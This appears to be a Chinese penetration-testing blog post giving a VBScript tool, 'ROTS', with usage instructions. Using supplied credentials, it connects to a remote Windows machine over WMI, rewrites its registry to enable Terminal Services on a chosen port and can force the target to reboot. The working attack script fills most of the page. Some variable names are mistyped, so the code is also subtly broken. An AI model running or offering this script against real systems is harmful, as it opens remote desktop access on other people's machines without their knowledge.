1. 程式人生 > >滲透之——3389指令碼開啟程式碼(vbs版)

滲透之——3389指令碼開啟程式碼(vbs版)

將以下程式碼複製到記事本里並儲存為rots.vbs

on error resume next
set utstreem=wscript.stdout
set instreem=wscript.stdin
if (lcase(right(wscript.fullname,11))="wscript.exe") then
   set bjShell=wscript.createObject("wscript.shell")
   objShell.Run("cmd.exe /k cscript. //nologo "&chr(34)&wscript.scriptfullname&chr(34))
   wscript.quit
end if
if wscript.arguments.count<3 then
   usage()
   wscript.echo "Not enough parameters."
   wscript.quit
end if
ipaddress=wscript.arguments(0)
username=wscript.arguments(1)
password=wscript.arguments(2)
if wscript.arguments.count>3 then
   port=wscript.arguments(3)
else
   port=3389
end if
if not isnumeric(port) or port<1 or port>65000 then
   wscript.echo "The number of port is error."
   wscript.quit
end if
if wscript.arguments.count>4 then
   reboot=wscript.arguments(4)
else
   reboot=""
end if
usage()
outstreem.write "Conneting "&ipaddress&" ...."
set bjlocator=createobject("wbemscripting.swbemlocator")
set bjswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
objswbemservices.security_.privileges.add 23,true
objswbemservices.security_.privileges.add 18,true
showerror(err.number)
outstreem.write "Checking OS type...."
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")
for each objinstoscaption in colinstoscaption
   if instr(objinstoscaption.caption,"Server")>0 then
      wscript.echo "OK!"
   else
      wscript.echo "OS type is "&objinstoscaption.caption
      outstreem.write "Do you want to cancel setup?[y/n]"
      strcancel=instreem.read
      if lcase(strcancel)<>"n" then wscript.quit
   end if
next
outstreem.write "Writing into registry ...."
set bjinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")
HKLM=&h80000002
with objinstreg
.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0
.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"
.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2
.setstringvalue HKLM,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1"
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port
end with
showerror(err.number)
rebt=lcase(reboot)
if rebt="/r" or rebt="-r" or rebt="\r" then
   outstreem.write "Now, reboot target...."
   strwqlquery="select * from win32_operatingsystem where primary='true'"
   set colinstances=objswbemservices.execquery(strwqlquery)
   for each objinstance in colinstances
      objinstance.win32shutdown(6)
   next
   showerror(err.number)
else
   wscript.echo "You need to reboot target."&vbcrlf&"Then,"
end if
wscript.echo "You can logon terminal services on "&port&" later. Good luck!"
function showerror(errornumber)
if errornumber Then
   wscript.echo "Error 0x"&cstr(hex(err.number))&" ."
   if err.description <> "" then
      wscript.echo "Error description: "&err.description&"."
   end if
   wscript.quit
else
   wscript.echo "OK!"
end if
end function
function usage()
wscript.echo string(79,"*")
wscript.echo "ROTS v1.01"
wscript.echo "Remote Open Terminal services Script, by zzzEVAzzz"
wscript.echo "Welcome to visite www.isgrey.com"
wscript.echo "Usage:"
wscript.echo "cscript. "&wscript.scriptfullname&" targetIP username password [port] [/r]"
wscript.echo "port: default number is 3389."
wscript.echo "/r: auto reboot target."
wscript.echo string(79,"*")&vbcrlf
end function

#######################################################
描述:遠端啟動終端服務的windows指令碼。
特點:不依賴於目標的ipc$開放與否。
原理:直接訪問目標的windows管理規範服務(WMI)。該服務為系統重要服務,預設啟動。
支援平臺:win2kpro win2kserver winxp win.net
使用方法:
在命令列方式下使用windows自帶的指令碼宿主程式cscript.exe呼叫指令碼,例如:

c:\>cscript ROTS.vbs <目標IP> <使用者名稱> <密碼> [服務埠] [自動重起選項]

服務埠: 設定終端服務的服務埠。預設是3389。
自動重起選項: 使用/r表示安裝完成後自動重起目標使設定生效。使用此引數時,埠設定不能忽略。

指令碼會判斷目標系統型別,如果不是server及以上版本,就會提示你是否要取消。
因為pro版不能安裝終端服務。
如果你確信指令碼判斷錯誤,就繼續安裝好了。

如果要對本地使用,IP地址為127.0.0.1或者一個點(用.表示),使用者名稱和密碼都為空
##################################